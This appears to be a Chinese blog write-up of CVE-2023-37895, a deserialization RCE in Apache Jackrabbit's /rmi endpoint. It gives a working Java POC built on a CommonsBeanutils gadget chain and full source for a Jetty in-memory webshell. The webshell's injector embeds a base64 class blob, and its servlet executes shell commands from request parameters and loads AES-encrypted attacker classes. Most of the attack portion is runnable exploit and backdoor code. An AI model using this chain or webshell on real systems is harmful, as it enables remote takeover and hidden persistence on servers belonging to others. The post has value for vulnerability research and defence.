参考:
CVE-2023-37895: Apache Jackrabbit RMI RCE
CVE-2023-37895
环境搭建
直接就是以jar包的形式进行部署的,所以并没有什么骚操作,下载地址如下
https://jackrabbit.apache.org/jcr/downloads.html
这里选择版本2.20.10漏洞版本,咱们运行jackrabbit的时候需要指定一下jre目录,否则会500的
java -Djava.home="%JAVA_HOME%\jre" -jar jackrabbit-standalone-2.20.10.jar
漏洞复现&&漏洞分析
该漏洞是一个典型的RMI注入漏洞。攻击者可以调用服务器的远程方法,并且传入恶意参数,导致参数进行反序列化最终RCE被攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
|
package org.apache.jackrabbit.servlet.remote;
import java.io.IOException; import java.io.ObjectOutputStream; import java.rmi.RemoteException; import java.rmi.server.RemoteObject; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.jackrabbit.rmi.remote.RemoteRepository; import org.apache.jackrabbit.rmi.server.RemoteAdapterFactory; import org.apache.jackrabbit.rmi.server.ServerAdapterFactory; import org.apache.jackrabbit.servlet.ServletRepository;
public class RemoteBindingServlet extends HttpServlet { private static final long serialVersionUID = -162482284843619248L; private RemoteRepository remote;
public RemoteBindingServlet() { }
protected RemoteRepository getRemoteRepository() throws ServletException { if (this.remote == null) { try { RemoteAdapterFactory factory = this.getRemoteAdapterFactory(); this.remote = factory.getRemoteRepository(new ServletRepository(this)); } catch (RemoteException var2) { throw new ServletException("Failed to create the remote repository reference", var2); } }
return this.remote; }
private RemoteAdapterFactory getRemoteAdapterFactory() throws ServletException { String name = this.getInitParameter(RemoteAdapterFactory.class.getName()); if (name == null) { return new ServerAdapterFactory(); } else { try { Class factoryClass = Class.forName(name); return (RemoteAdapterFactory)factoryClass.newInstance(); } catch (ClassNotFoundException var3) { throw new ServletException("Remote adapter factory class not found: " + name, var3); } catch (InstantiationException var4) { throw new ServletException("Failed to instantiate the adapter factory: " + name, var4); } catch (IllegalAccessException var5) { throw new ServletException("Adapter factory constructor is not public: " + name, var5); } catch (ClassCastException var6) { throw new ServletException("Invalid remote adapter factory class: " + name, var6); } } }
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("application/octet-stream"); ObjectOutputStream output = new ObjectOutputStream(response.getOutputStream()); output.writeObject(RemoteObject.toStub(this.getRemoteRepository())); output.flush(); } }
|
漏洞是因为一个Servlet引起的,该servlet代码如上,对应路由/rmi
,简洁明了就是rmi,我们断点给在
output.writeObject(RemoteObject.toStub(this.getRemoteRepository()));
这一句代码上,我们直接开启debug。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package com.javasec.pocs.solutions.cve;
import com.javasec.utils.SerializeUtils; import org.apache.commons.beanutils.BeanComparator; import org.apache.jackrabbit.commons.JcrUtils; import javax.jcr.Repository; import javax.jcr.SimpleCredentials; import javax.xml.transform.Templates; import java.util.PriorityQueue;
public class ApacheJackrabbitRCE { public static void main(String[] args) throws Exception { Templates obj = SerializeUtils.getTemplate("calc"); final BeanComparator comparator = new BeanComparator(); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add(1); queue.add(1); SerializeUtils.setFieldValue(comparator, "property", "outputProperties"); SerializeUtils.setFieldValue(queue, "queue", new Object[]{obj, obj}); SimpleCredentials simpleCredentials = new SimpleCredentials("1", "1".toCharArray()); simpleCredentials.setAttribute("a",queue); Repository repository = JcrUtils.getRepository("http://localhost:8080/rmi"); repository.login(simpleCredentials); } }
|
POC如上,在POC中用到了JcrUtils去获取到repository仓库
然后在服务端就会收到请求
在攻击者这里获取到的是一个RmiReposityFactory$1,一个内部类RmiSafeClientRepository,我们看看他对应的代码
继承SafeClientRepository的方法,我们往上看
其中有一个login方法传入一个Credentials对象,我们现在需要找一个Credentials对象,其中有属性可以控制为我们的恶意payload
一共五个随便挑一个适合的。
其中simplecredentials有一个attributes属性,并且有对应的setter和getter去设置,完美符合
到这里payload构造流程就分析完成了,随后会RMI调用远程服务端的方法login。对rmi反序列化熟悉一点的师傅会对一个方法很熟悉,unmarshalvalue方法,在rmi请求的流程中,客户端会序列化请求的参数,然后在服务端的unmarshalvalue方法进行readobject反序列化,从而导致RCE
服务端有cb依赖,所以我们挑选cb链去加载恶意类即可。
通过调试也可以验证显示在UnicastRef的invoke方法里调用了marshalvalue去序列化参数,然后call.executeCall之后就会像服务端发起请求
可以看到unmarshalValue方法,随之就会弹出计算器了
回显策略
Apache Jackrabbit 是基于Jetty9的服务器,我们直接挑选一款jetty内存马就行,这里我用的是servelet内存马,因为filter的优先级没有404页面的高,导致我们无法进入filter的逻辑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| package com.boogipop.memshell;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import sun.misc.BASE64Decoder;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64;
public class InjectJettyServletShell extends AbstractTranslet { private static Object servletHandler = null; private static String filterName = "ServletTemplates"; private static String filterClassName = "com.boogipop.memshell.ServletTemplates"; private static String url = "/*"; private static synchronized void LoadServlet() throws Exception { try{ Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance(); }catch (Exception e){ Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); a.setAccessible(true); byte[] b = (new BASE64Decoder()).decodeBuffer("yv66vgAAADQBHgoARwB+CgAQAH8KAIAAgQoAWACCCQCDAIQIAIUKAIYAhwgAiAsAiQCKCACLCgAQAIwIAI0KABAAjgkAjwCQCACRBwCSCACTCACUCABhCACVBwCWCgCXAJgKAJcAmQoAmgCbCgAVAJwIAJ0KABUAngoAFQCfCwCgAKEKAKIAhwgAowsAiQCkCwCJAKUIAKYLAIkApwgAqAsAqQCqCACrCgCsAK0HAK4HAK8KACkAfgsAqQCwCgApALEIALIKACkAswoAKQC0CgAoALUKAKwAtgsAiQC3CgC4ALkKAEYAugoArAC7BwC8CgBBAL0KAD0AvgoANgC/CgA2AMAKAD0AwQgAwgcAwwcAxAcAxQoAPQDGBwDHCgDIAMkHAMoKAEMAywoARgDMBwDNBwDOAQABVQEADElubmVyQ2xhc3NlcwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAoTGNvbS9ib29naXBvcC9tZW1zaGVsbC9TZXJ2bGV0VGVtcGxhdGVzOwEADUJBU0U2NERlY29kZXIBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAEZGF0YQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACmlucHV0Qnl0ZXMBAAJbQgEAB2VuY29kZXIHAM8BAAdEZWNvZGVyAQAaTGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsBAAxlbmNvZGVkQnl0ZXMBAAZkb1Bvc3QBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBAANjbWQBAAFrAQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAOZXZpbENsYXNzQnl0ZXMBAAlldmlsQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEACmV2aWxPYmplY3QBABJMamF2YS9sYW5nL09iamVjdDsBAAx0YXJnZXRNZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQANU3RhY2tNYXBUYWJsZQcAkgcAXwcAygEACkV4Y2VwdGlvbnMHANABAAVkb0dldAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAClNvdXJjZUZpbGUBABVTZXJ2bGV0VGVtcGxhdGVzLmphdmEMAEoASwwA0QDSBwDTDADUANUMANYA1wcA2AwA2QDaAQAeWytdIER5bmFtaWMgU2VydmxldCBzYXlzIGhlbGxvBwDbDADcAN0BAAR0eXBlBwDeDADfAOABAAViYXNpYwwAwgDhAQAEcGFzcwwA4gDjBwDkDADlAFQBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHAOYMAOcA6AwA6QDqBwDrDADsAO0MAEoA7gEAAlxBDADvAPAMAPEA8gcA8wwA9AD1BwD2AQAQZTQ1ZTMyOWZlYjVkOTI1YgwA9wDgDAD4APIBAARQT1NUDAD5APoBAAF1BwD7DAD8AP0BAANBRVMHAP4MAP8BAAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBAQECDAEDAQQBAAAMAQMBBQwBBgDyDABKAQcMAQgBCQwBCgELBwEMDAENAPIMAFEAUgwBDgDXAQAoY29tL2Jvb2dpcG9wL21lbXNoZWxsL1NlcnZsZXRUZW1wbGF0ZXMkVQwBDwEQDAERARIMAEoBEwwBFAEVDAEWARcBAAZlcXVhbHMBAA9qYXZhL2xhbmcvQ2xhc3MBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UMARgBGQEAEGphdmEvbGFuZy9PYmplY3QHARoMARsBHAEAE2phdmEvbGFuZy9FeGNlcHRpb24MAR0ASwwAXABdAQAmY29tL2Jvb2dpcG9wL21lbXNoZWxsL1NlcnZsZXRUZW1wbGF0ZXMBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXQBABhqYXZhL3V0aWwvQmFzZTY0JERlY29kZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldERlY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7AQAGZGVjb2RlAQAGKFtCKVtCAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAlnZXRIZWFkZXIBAAlnZXRNZXRob2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAMZ2V0QXR0cmlidXRlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAIcmVhZExpbmUBAAdkb0ZpbmFsAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQBCKExjb20vYm9vZ2lwb3AvbWVtc2hlbGwvU2VydmxldFRlbXBsYXRlcztMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UAIQBGAEcAAAAAAAUAAQBKAEsAAQBMAAAALwABAAEAAAAFKrcAAbEAAAACAE0AAAAGAAEAAAASAE4AAAAMAAEAAAAFAE8AUAAAAAoAUQBSAAEATAAAAGUAAgAEAAAAESq2AAJMuAADTSwrtgAETi2wAAAAAgBNAAAAEgAEAAAAFAAFABUACQAWAA8AFwBOAAAAKgAEAAAAEQBTAFQAAAAFAAwAVQBWAAEACQAIAFcAWgACAA8AAgBbAFYAAwAEAFwAXQACAEwAAAKIAAcACQAAAWCyAAUSBrYABysSCLkACQIAxgCKKxIIuQAJAgASCrYAC5kAeisSDLkACQIATi3GAGottgANmgBjAToEsgAOEg+2AAuZABoGvQAQWQMSEVNZBBISU1kFLVM6BKcAFwa9ABBZAxITU1kEEhRTWQUtUzoEuwAVWbgAFhkEtgAXtgAYtwAZEhq2ABu2ABw6BSy5AB0BABkFtgAepwDIKxIfuQAgAgDGAL0ruQAhAQASIrYAC5kApxIMTiu5ACMBABIkLbkAJQMAEia4ACc6BBkEBbsAKFm7AClZtwAqK7kAIwEAEiS5ACsCALYALBIttgAutgAvtgACEia3ADC2ADEZBCu5ADIBALYAM7gANLYANToFuwA2WSoqtgA3tgA4twA5GQW2ADo6BhkGtgA7OgcZBhI8Bb0APVkDEj5TWQQSP1O2AEA6CBkIGQcFvQBBWQMrU1kELFO2AEJXpwAITi22AESxAAEApQFXAVoAQwADAE0AAABmABkAAAAbAAgAHQAjAB8ALAAgADcAIQA6ACIARQAjAFwAJQBwACcAjAAoAJcAKgClAC0AswAuALYALwDEADAAywAxAPwAMgEPADMBJQA0ASwANQFDADYBVwA6AVoAOAFbADkBXwA8AE4AAACEAA0AOgBdAF4AXwAEAIwACwBgAFQABQAsAGsAYQBUAAMAtgChAGIAVAADAMsAjABjAGQABAEPAEgAZQBWAAUBJQAyAGYAZwAGASwAKwBoAGkABwFDABQAagBrAAgBWwAEAGwAbQADAAABYABPAFAAAAAAAWAAbgBvAAEAAAFgAHAAcQACAHIAAAAYAAf9AFwHAHMHAHQT+QAmAvsAvEIHAHUEAHYAAAAEAAEAdwAEAHgAXQACAEwAAABJAAMAAwAAAAcqKyy2AEWxAAAAAgBNAAAACgACAAAAQAAGAEEATgAAACAAAwAAAAcATwBQAAAAAAAHAG4AbwABAAAABwBwAHEAAgB2AAAABAABAHcACQB5AHoAAQBMAAAAKwAAAAEAAAABsQAAAAIATQAAAAYAAQAAAEsATgAAAAwAAQAAAAEAewBfAAAAAgB8AAAAAgB9AEkAAAASAAIANgBGAEgAAABYAIAAWQAJ"); a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length); } } private static byte[] BASE64Decoder(String data){ byte[] inputBytes = data.getBytes(); Base64.Decoder encoder = Base64.getDecoder(); byte[] encodedBytes = encoder.decode(inputBytes); return encodedBytes; }
public static synchronized void GetWebContent() throws Exception { try{ Thread currentThread = Thread.currentThread(); Object contextClassLoader = GetField(currentThread, "contextClassLoader"); Object _context = GetField(contextClassLoader,"_context"); servletHandler = GetField(_context,"_servletHandler"); }catch (Exception e){ e.printStackTrace(); } }
private static synchronized void InjectServlet() throws Exception { if(servletHandler != null){ Class EvilServlet = Thread.currentThread().getContextClassLoader().loadClass(filterClassName); Method addFilterWithMapping = GetMethod(servletHandler, "addServletWithMapping", Class.class, String.class); addFilterWithMapping.invoke(servletHandler, EvilServlet, "/boogipop"); }
} private static synchronized Object GetField(Object o, String k) throws Exception{ Field f; try { f = o.getClass().getDeclaredField(k); } catch (NoSuchFieldException e) { try{ f = o.getClass().getSuperclass().getDeclaredField(k); }catch (Exception e1){ f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k); } } f.setAccessible(true); return f.get(o); }
private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException { Method method = null; Class clazz = obj.getClass();
while(clazz != Object.class) { try { method = clazz.getDeclaredMethod(methodName, paramClazz); break; } catch (NoSuchMethodException var6) { clazz = clazz.getSuperclass(); } }
if (method == null) { throw new NoSuchMethodException(methodName); } else { method.setAccessible(true); return method; } }
public InjectJettyServletShell() { try{ LoadServlet(); GetWebContent(); InjectServlet(); }catch (Exception e){ e.printStackTrace(); }
} static { new InjectJettyServletShell(); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
其中ServerletTemplates的内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| package com.boogipop.memshell;
import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse;
import javax.crypto.Cipher; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.File; import java.io.IOException; import java.lang.reflect.Method; import java.util.Base64; import java.util.Scanner;
public class ServletTemplates extends HttpServlet { private static byte[] BASE64Decoder(String data){ byte[] inputBytes = data.getBytes(); Base64.Decoder encoder = Base64.getDecoder(); byte[] encodedBytes = encoder.decode(inputBytes); return encodedBytes; } @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException { System.out.println("[+] Dynamic Servlet says hello");
if(request.getParameter("type") != null && request.getParameter("type").equals("basic")){ String cmd = request.getParameter("pass"); if(cmd != null && !cmd.isEmpty()){ String[] cmds = null; if(File.separator.equals("/")){ cmds = new String[]{"/bin/sh", "-c", cmd}; }else{ cmds = new String[]{"cmd", "/C", cmd}; } String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); response.getWriter().println(result); } }else if(request.getHeader("e45e329feb5d925b") != null){ try{ if (request.getMethod().equals("POST")){ String k = "pass"; request.getSession().setAttribute("u",k); Cipher cipher = Cipher.getInstance("AES"); cipher.init(2, new SecretKeySpec((request.getSession().getAttribute("u") + "").getBytes(), "AES")); byte[] evilClassBytes = cipher.doFinal(BASE64Decoder(request.getReader().readLine())); Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes); Object evilObject = evilClass.newInstance(); Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); targetMethod.invoke(evilObject, new Object[]{request, response}); } }catch(Exception e){ e.printStackTrace(); } } }
@Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { doPost(request, response); }
class U extends ClassLoader{ U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);} }
public static void main(String[] args) {
} }
|
这个在我之前的文章中是有说明的。
内存马系列 Jetty型内存马学习 - Boogiepop Doesn’t Laugh
最后的效果如下。
假如想要哥斯拉连接的话自行加上哥斯拉或者是冰蝎的逻辑即可。笔者在这里就不做处理了(懒狗一条),好了说到这里我就先把电脑关机一下,因为这个东西是真的吃运行内存啊,我就挂了一上午现在电脑已经要炸了感觉。。。。
一些毛病
本地打是没什么问题的,但是换到我vps上后会出现这个问题。
会飘红connection reset,我不知道是不是我校园网的问题,但是我用流量的话就访问不到这个路由。测了傻逼校园网。